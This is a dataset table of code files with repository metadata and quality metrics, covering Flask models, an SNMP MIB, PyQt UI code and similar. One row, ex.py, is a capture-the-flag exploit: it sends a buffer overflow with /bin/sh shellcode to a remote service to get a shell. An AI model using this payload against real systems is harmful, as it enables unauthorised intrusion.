hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f9d7bef3f8e957f6eb929e91e5feb1f8c07b6741 | 8,632 | py | Python | app/models.py | GRI-ESPCI/espci-bar-web-app | 96a31cd9e2ee03d3c3752932515d603d59307370 | [
"MIT"
] | 3 | 2021-08-16T13:45:36.000Z | 2021-08-17T14:43:03.000Z | app/models.py | Stryars/espci-bar-web-app | f5be7253e179959aafcf4bef2166c472bb1204d2 | [
"MIT"
] | null | null | null | app/models.py | Stryars/espci-bar-web-app | f5be7253e179959aafcf4bef2166c472bb1204d2 | [
"MIT"
] | 1 | 2021-08-16T13:44:23.000Z | 2021-08-16T13:44:23.000Z | # -*- coding: utf-8 -*-
"""Flask app models."""
import os.path
import datetime
from flask import url_for
from flask_login import UserMixin
from sqlalchemy.sql.expression import and_
from werkzeug.security import generate_password_hash, check_password_hash
import hashlib
import qrcode
from app import db, login, whooshee... | 36.731915 | 79 | 0.618165 | 1,101 | 8,632 | 4.713896 | 0.201635 | 0.055491 | 0.069364 | 0.036994 | 0.359538 | 0.303661 | 0.234875 | 0.182274 | 0.160308 | 0.0921 | 0 | 0.008587 | 0.257994 | 8,632 | 234 | 80 | 36.888889 | 0.801717 | 0.125463 | 0 | 0.172185 | 0 | 0 | 0.070882 | 0.009129 | 0 | 0 | 0 | 0 | 0 | 1 | 0.072848 | false | 0.046358 | 0.059603 | 0 | 0.523179 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
f9d8c025af3b8e4346d82eec0678941a4efa6504 | 882 | py | Python | texar/modules/encoders/encoder_base.py | Holmeswww/Text_Infilling | f63cd24bee5c62d7dedd8fb35c4e52aee20c39f3 | [
"Apache-2.0"
] | 25 | 2019-01-03T09:15:20.000Z | 2022-02-12T04:20:59.000Z | texar/modules/encoders/encoder_base.py | Holmeswww/Text_Infilling | f63cd24bee5c62d7dedd8fb35c4e52aee20c39f3 | [
"Apache-2.0"
] | 4 | 2019-03-28T11:02:20.000Z | 2022-02-15T04:57:33.000Z | texar/modules/encoders/encoder_base.py | Holmeswww/Text_Infilling | f63cd24bee5c62d7dedd8fb35c4e52aee20c39f3 | [
"Apache-2.0"
] | 9 | 2019-01-03T02:20:37.000Z | 2022-02-12T04:20:50.000Z | #
"""
Base class for encoders.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from texar.module_base import ModuleBase
__all__ = [
"EncoderBase"
]
class EncoderBase(ModuleBase):
"""Base class inherited by all encoder classes.
"""
def... | 20.045455 | 71 | 0.620181 | 86 | 882 | 6.023256 | 0.581395 | 0.057915 | 0.092664 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.290249 | 882 | 43 | 72 | 20.511628 | 0.827476 | 0.329932 | 0 | 0 | 0 | 0 | 0.043222 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.176471 | false | 0 | 0.235294 | 0 | 0.529412 | 0.058824 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
f9d8fff99a8d0c46dfb21524b1ac392c308d1f14 | 8,352 | py | Python | pysnmp-with-texts/CISCOSB-UDP.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 8 | 2019-05-09T17:04:00.000Z | 2021-06-09T06:50:51.000Z | pysnmp-with-texts/CISCOSB-UDP.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 4 | 2019-05-31T16:42:59.000Z | 2020-01-31T21:57:17.000Z | pysnmp-with-texts/CISCOSB-UDP.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module CISCOSB-UDP (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CISCOSB-UDP
# Produced by pysmi-0.3.4 at Wed May 1 12:24:02 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 0... | 112.864865 | 675 | 0.779215 | 964 | 8,352 | 6.748963 | 0.237552 | 0.064556 | 0.112973 | 0.009837 | 0.338764 | 0.172456 | 0.130341 | 0.11743 | 0.11743 | 0.11743 | 0 | 0.062147 | 0.088721 | 8,352 | 73 | 676 | 114.410959 | 0.792669 | 0.037835 | 0 | 0 | 0 | 0.046154 | 0.285785 | 0.016818 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.169231 | 0 | 0.169231 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f9ddcfc7a69aadb07ea7b6880763d7647433685c | 562 | py | Python | resource/2_small_2_Pwn/ex.py | JisoonPark/writeup | f0a7457e9693271e0ca69f123e4bd417b3043261 | [
"MIT"
] | 1 | 2019-05-14T02:18:11.000Z | 2019-05-14T02:18:11.000Z | resource/2_small_2_Pwn/ex.py | JisoonPark/writeup | f0a7457e9693271e0ca69f123e4bd417b3043261 | [
"MIT"
] | null | null | null | resource/2_small_2_Pwn/ex.py | JisoonPark/writeup | f0a7457e9693271e0ca69f123e4bd417b3043261 | [
"MIT"
] | 1 | 2021-09-24T13:25:35.000Z | 2021-09-24T13:25:35.000Z | from pwn import *
if __debug__:
r = process("./q4")
#r = gdb.debug("./q4", """
#b *0x4000df
#b *0x4000ea
#""")
else:
r = remote("68.183.158.95", 8992)
sc = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = "A" * 0x10
payload += p64(0x600a00) #rbp => rwx ... | 20.071429 | 99 | 0.63879 | 91 | 562 | 3.901099 | 0.615385 | 0.112676 | 0.152113 | 0.107042 | 0.287324 | 0.169014 | 0 | 0 | 0 | 0 | 0 | 0.237895 | 0.154804 | 562 | 27 | 100 | 20.814815 | 0.509474 | 0.163701 | 0 | 0.25 | 0 | 0.0625 | 0.240781 | 0.199566 | 0 | 0 | 0.125813 | 0 | 0 | 1 | 0 | false | 0 | 0.0625 | 0 | 0.0625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
f9e0c93f8dbcc4c7f845179e0312c442e25efd3c | 863 | py | Python | xpython/byteop/byteop38pypy.py | rocky/xpython | ce4ed4329cee2af0aab94254276f5a5687dd25f9 | [
"MIT"
] | 1 | 2020-04-28T13:18:13.000Z | 2020-04-28T13:18:13.000Z | xpython/byteop/byteop38pypy.py | rocky/xbyterun | fde8f8a31ffd3e3c4545d76b4b1edf4b7e0191d9 | [
"MIT"
] | null | null | null | xpython/byteop/byteop38pypy.py | rocky/xbyterun | fde8f8a31ffd3e3c4545d76b4b1edf4b7e0191d9 | [
"MIT"
] | null | null | null | """Bytecode Interpreter operations for PyPy 3.8
"""
from xpython.byteop.byteop38 import ByteOp38
from xpython.byteop.byteop37pypy import ByteOp37PyPy
from xpython.byteop.byteoppypy import ByteOpPyPy
class ByteOp38PyPy(ByteOp38, ByteOpPyPy):
def __init__(self, vm):
super(ByteOp38PyPy, self).__init__(vm)
... | 33.192308 | 87 | 0.696408 | 126 | 863 | 4.595238 | 0.531746 | 0.013817 | 0.088083 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055882 | 0.212051 | 863 | 25 | 88 | 34.52 | 0.795588 | 0.314021 | 0 | 0 | 0 | 0.090909 | 0.135531 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0 | 0.272727 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
f9e17fdf4b9b8cd2348a247317bdf18da169390a | 6,131 | py | Python | MainWindow.py | Centaurus99/Tsinghua-Auth-GUI | d71b0d3375c3313a1b2858093e2aa633d6d1f665 | [
"MIT"
] | 3 | 2020-10-28T04:01:59.000Z | 2021-07-11T11:37:03.000Z | MainWindow.py | Centaurus99/Tsinghua-Auth-GUI | d71b0d3375c3313a1b2858093e2aa633d6d1f665 | [
"MIT"
] | 1 | 2019-11-02T00:17:03.000Z | 2019-11-02T00:17:03.000Z | MainWindow.py | Centaurus99/Tsinghua-Auth-GUI | d71b0d3375c3313a1b2858093e2aa633d6d1f665 | [
"MIT"
] | 1 | 2021-07-12T17:07:24.000Z | 2021-07-12T17:07:24.000Z | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'MainWindow.ui'
#
# Created by: PyQt5 UI code generator 5.11.3
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainW... | 44.107914 | 109 | 0.672321 | 664 | 6,131 | 6.129518 | 0.215361 | 0.05086 | 0.041278 | 0.053071 | 0.293612 | 0.293612 | 0.144963 | 0.136855 | 0.136855 | 0.135872 | 0 | 0.037775 | 0.205513 | 6,131 | 138 | 110 | 44.427536 | 0.797783 | 0.030011 | 0 | 0.261905 | 1 | 0 | 0.056229 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.015873 | false | 0.007937 | 0.015873 | 0 | 0.039683 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dda63ef008118bb394f08aff9587ed93841e3c5e | 990 | py | Python | cropImage/location_signal_maker.py | jinmyeonglee/LKVOLearner | 8d6a167d50942131dc9e379c280f442c37579d37 | [
"BSD-3-Clause"
] | 1 | 2019-06-09T13:53:42.000Z | 2019-06-09T13:53:42.000Z | cropImage/location_signal_maker.py | jinmyeonglee/LKVOLearner | 8d6a167d50942131dc9e379c280f442c37579d37 | [
"BSD-3-Clause"
] | null | null | null | cropImage/location_signal_maker.py | jinmyeonglee/LKVOLearner | 8d6a167d50942131dc9e379c280f442c37579d37 | [
"BSD-3-Clause"
] | 1 | 2020-05-15T07:01:50.000Z | 2020-05-15T07:01:50.000Z | # Generated with SMOP 0.41
from libsmop import *
# location_signal_maker.m
@function
def location_signal_maker(signal_number=None,*args,**kwargs):
# varargin = location_signal_maker.varargin
# nargin = location_signal_maker.nargin
location_signal=zeros(signal_number,2)
mesh_size=ceil(sqrt(dot(2,sign... | 39.6 | 104 | 0.731313 | 156 | 990 | 4.288462 | 0.294872 | 0.167414 | 0.09716 | 0.076233 | 0.06278 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022539 | 0.148485 | 990 | 24 | 105 | 41.25 | 0.771056 | 0.130303 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0.0625 | 0 | 0.1875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dda8eaeb40069f10e35948c94dd7a1357e7f86ee | 368 | py | Python | src/builtin/functions.py | aka-cs/ia-sim-cmp | fa26f3d961a992698ca08f4213d6eae39f3ec039 | [
"MIT"
] | null | null | null | src/builtin/functions.py | aka-cs/ia-sim-cmp | fa26f3d961a992698ca08f4213d6eae39f3ec039 | [
"MIT"
] | null | null | null | src/builtin/functions.py | aka-cs/ia-sim-cmp | fa26f3d961a992698ca08f4213d6eae39f3ec039 | [
"MIT"
] | null | null | null | class Function:
def __init__(self, name, param_types, return_type, line=0):
self.name = name
self.param_types = param_types
self.return_type = return_type
self.line = line
def __str__(self):
return Function.__qualname__
def getattr(self, name):
raise Attrib... | 24.533333 | 66 | 0.657609 | 45 | 368 | 4.977778 | 0.488889 | 0.107143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00369 | 0.263587 | 368 | 14 | 67 | 26.285714 | 0.822878 | 0 | 0 | 0 | 0 | 0 | 0.092643 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0 | 0 | 0.1 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ddb443077b8d39525ea3a5ea40732f1a7a5c90ac | 683 | py | Python | python3/min_cost_for_tickets.py | joshiaj7/CodingChallenges | f95dd79132f07c296e074d675819031912f6a943 | [
"MIT"
] | 1 | 2020-10-08T09:17:40.000Z | 2020-10-08T09:17:40.000Z | python3/min_cost_for_tickets.py | joshiaj7/CodingChallenges | f95dd79132f07c296e074d675819031912f6a943 | [
"MIT"
] | null | null | null | python3/min_cost_for_tickets.py | joshiaj7/CodingChallenges | f95dd79132f07c296e074d675819031912f6a943 | [
"MIT"
] | null | null | null | # leetcode
class Solution:
def mincostTickets(self, days: List[int], costs: List[int]) -> int:
num = 366
one, seven, thirty = costs
dp = [0] * num
idx = 0
for i in range(1, num):
dp[i] = dp[i-1]
if i == days[idx]:
... | 26.269231 | 71 | 0.351391 | 85 | 683 | 2.823529 | 0.364706 | 0.075 | 0.075 | 0.05 | 0.058333 | 0 | 0 | 0 | 0 | 0 | 0 | 0.072555 | 0.535871 | 683 | 26 | 72 | 26.269231 | 0.684543 | 0.011713 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0 | 0 | 0.157895 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ddbb9de3b552aa18e7fd85bb2c38789761547cf6 | 5,360 | py | Python | code/separateLeadStereo/pitchEval.py | dkdfirefly/speaker_project | 1c129f3f4d664e6526ab5be35932c27e8b90b07d | [
"MIT"
] | 1 | 2017-01-16T11:27:28.000Z | 2017-01-16T11:27:28.000Z | code/separateLeadStereo/pitchEval.py | dkdfirefly/speaker_project | 1c129f3f4d664e6526ab5be35932c27e8b90b07d | [
"MIT"
] | null | null | null | code/separateLeadStereo/pitchEval.py | dkdfirefly/speaker_project | 1c129f3f4d664e6526ab5be35932c27e8b90b07d | [
"MIT"
] | null | null | null | #! /usr/bin/env python
import numpy as np
def framewiseEval(resTracks, groundTruthTracks):
GTTracks = groundTruthTracks
# aligning the tracks:
Tref = GTTracks.shape[0]
refTimes = GTTracks[:,0]
estTimes = resTracks[:,0]
reference = np.zeros([Tref, GTTracks.shape[1]-1])
reference[:,:] = GTTr... | 38.561151 | 128 | 0.56194 | 594 | 5,360 | 5.060606 | 0.217172 | 0.028277 | 0.025615 | 0.013307 | 0.38523 | 0.305389 | 0.262808 | 0.250166 | 0.250166 | 0.250166 | 0 | 0.036234 | 0.320336 | 5,360 | 138 | 129 | 38.84058 | 0.78891 | 0.140485 | 0 | 0.29703 | 0 | 0 | 0.027935 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.009901 | null | null | 0.019802 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ddbc339ef0ccb4fb54a9fcef1d1d56599084a3f3 | 6,649 | py | Python | tools/console/plugins/plugin_package/helper/package_helper.py | rh101/engine-x | 17ad9829dd410c689857760b6ece89d99e877a95 | [
"MIT"
] | 321 | 2018-06-17T03:52:46.000Z | 2022-03-18T02:34:52.000Z | tools/console/plugins/plugin_package/helper/package_helper.py | rh101/engine-x | 17ad9829dd410c689857760b6ece89d99e877a95 | [
"MIT"
] | 172 | 2020-02-21T08:56:42.000Z | 2021-05-12T03:18:40.000Z | tools/console/plugins/plugin_package/helper/package_helper.py | rh101/engine-x | 17ad9829dd410c689857760b6ece89d99e877a95 | [
"MIT"
] | 62 | 2020-02-23T14:10:16.000Z | 2021-05-14T13:53:19.000Z |
import os
import os.path
import json
import urllib2
import re
import cocos
from MultiLanguage import MultiLanguage
from functions import *
from local_package_database import LocalPackagesDatabase
from zip_downloader import ZipDownloader
def convert_version_part(version_part):
tag = '(\d+)(\D*.*)'
match = re... | 31.215962 | 147 | 0.620695 | 803 | 6,649 | 4.90411 | 0.159402 | 0.092179 | 0.030218 | 0.025394 | 0.337227 | 0.27933 | 0.235145 | 0.191468 | 0.191468 | 0.191468 | 0 | 0.017371 | 0.281396 | 6,649 | 212 | 148 | 31.363208 | 0.806823 | 0.018499 | 0 | 0.356725 | 0 | 0 | 0.044172 | 0.008282 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.05848 | null | null | 0.005848 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ddbe745dbf1e0f91d85b440b01a2fce0183ae88e | 493 | py | Python | ChalkBoard(practice)/Python/basic/basicPractice.py | NathanKinney/Gardyloo | eb08805f21bd530135fabda4a866d15eb781fc5f | [
"MIT"
] | 1 | 2018-06-26T23:05:09.000Z | 2018-06-26T23:05:09.000Z | ChalkBoard(practice)/Python/basic/basicPractice.py | NathanKinney/Gardyloo | eb08805f21bd530135fabda4a866d15eb781fc5f | [
"MIT"
] | null | null | null | ChalkBoard(practice)/Python/basic/basicPractice.py | NathanKinney/Gardyloo | eb08805f21bd530135fabda4a866d15eb781fc5f | [
"MIT"
] | null | null | null |
# employees = {'marge': 3, 'mag': 2}
# employees['phil'] = '5'
# print(employees.values())
# new_list = list(iter(employees))
# for key, value in employees.iteritems():
# print(key,value)
# print(new_list)
# t = ('a', 'b', 'c', 'd')
# print(t.index('c'))
# print(1 > 2)
# myfile = open('test_file.txt')
# read =... | 18.961538 | 42 | 0.596349 | 72 | 493 | 4.013889 | 0.486111 | 0.072664 | 0.083045 | 0.103806 | 0.15917 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012285 | 0.174442 | 493 | 26 | 43 | 18.961538 | 0.697789 | 0.803245 | 0 | 0 | 0 | 0 | 0.189873 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ddc4849575a1f36ff1c35f246136e192d2e3e842 | 646 | py | Python | tests/test_variable_loading.py | butsuri43/hepdata_maker | b241e9fc89bd79ac762d3a123be33a2bdd2a8b02 | [
"Apache-2.0"
] | null | null | null | tests/test_variable_loading.py | butsuri43/hepdata_maker | b241e9fc89bd79ac762d3a123be33a2bdd2a8b02 | [
"Apache-2.0"
] | 9 | 2021-09-07T07:11:17.000Z | 2021-09-07T18:33:34.000Z | tests/test_variable_loading.py | butsuri43/hepdata_maker | b241e9fc89bd79ac762d3a123be33a2bdd2a8b02 | [
"Apache-2.0"
] | null | null | null | import pytest
from hepdata_maker.variable_loading import get_array_from_json
from hepdata_maker.variable_loading import get_array_from_yaml
import numpy as np
def test_jq_behaviour_modification(datadir):
submission_file=datadir.join("jq_mod_test.json")
json_out_1=get_array_from_json(submission_file,"keys")
... | 35.888889 | 64 | 0.803406 | 106 | 646 | 4.415094 | 0.283019 | 0.102564 | 0.153846 | 0.102564 | 0.726496 | 0.692308 | 0.645299 | 0.209402 | 0.209402 | 0 | 0 | 0.013793 | 0.102167 | 646 | 17 | 65 | 38 | 0.793103 | 0 | 0 | 0 | 0 | 0 | 0.092879 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 1 | 0.076923 | false | 0 | 0.307692 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
ddce9c0fe0fed5d9ac9aac0331712799b133d47d | 2,666 | py | Python | dicealyzer/transformer.py | rmellema/dicealyzer | f557c25f9cc192ca9aa7097f366a27979c14ea3b | [
"MIT"
] | null | null | null | dicealyzer/transformer.py | rmellema/dicealyzer | f557c25f9cc192ca9aa7097f366a27979c14ea3b | [
"MIT"
] | null | null | null | dicealyzer/transformer.py | rmellema/dicealyzer | f557c25f9cc192ca9aa7097f366a27979c14ea3b | [
"MIT"
] | null | null | null | """
This module contains the transformer class, that turns a given parse tree into a dice pool.
"""
from operator import add, sub, mul, truediv
from lark.visitors import Transformer, v_args
from .pools import BinaryOperatorPool, DiceTypePool, DiceDropPool, ConstPool
def keep_sum(rolls, keep, lowest=False):
"A sm... | 34.179487 | 97 | 0.64066 | 364 | 2,666 | 4.673077 | 0.324176 | 0.037625 | 0.037037 | 0.038213 | 0.250441 | 0.241035 | 0.241035 | 0.20341 | 0.079953 | 0.042328 | 0 | 0.015704 | 0.259565 | 2,666 | 77 | 98 | 34.623377 | 0.845998 | 0.351838 | 0 | 0.035088 | 0 | 0 | 0.314184 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.245614 | false | 0 | 0.052632 | 0 | 0.578947 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
ddcfd0caae0ca016a3a81f31ec20efd94f44f8f4 | 1,640 | py | Python | buildbuild/teams/tests/test_membership_team_to_member.py | buildbuild/buildbuild | ebf9e8abf7d5e018c6c5a8fc640d5cc0caaa43ac | [
"BSD-3-Clause"
] | 5 | 2015-07-22T08:13:45.000Z | 2018-12-10T05:21:41.000Z | buildbuild/teams/tests/test_membership_team_to_member.py | buildbuild/buildbuild | ebf9e8abf7d5e018c6c5a8fc640d5cc0caaa43ac | [
"BSD-3-Clause"
] | 2 | 2020-06-05T18:39:48.000Z | 2021-06-10T20:36:06.000Z | buildbuild/teams/tests/test_membership_team_to_member.py | buildbuild/buildbuild | ebf9e8abf7d5e018c6c5a8fc640d5cc0caaa43ac | [
"BSD-3-Clause"
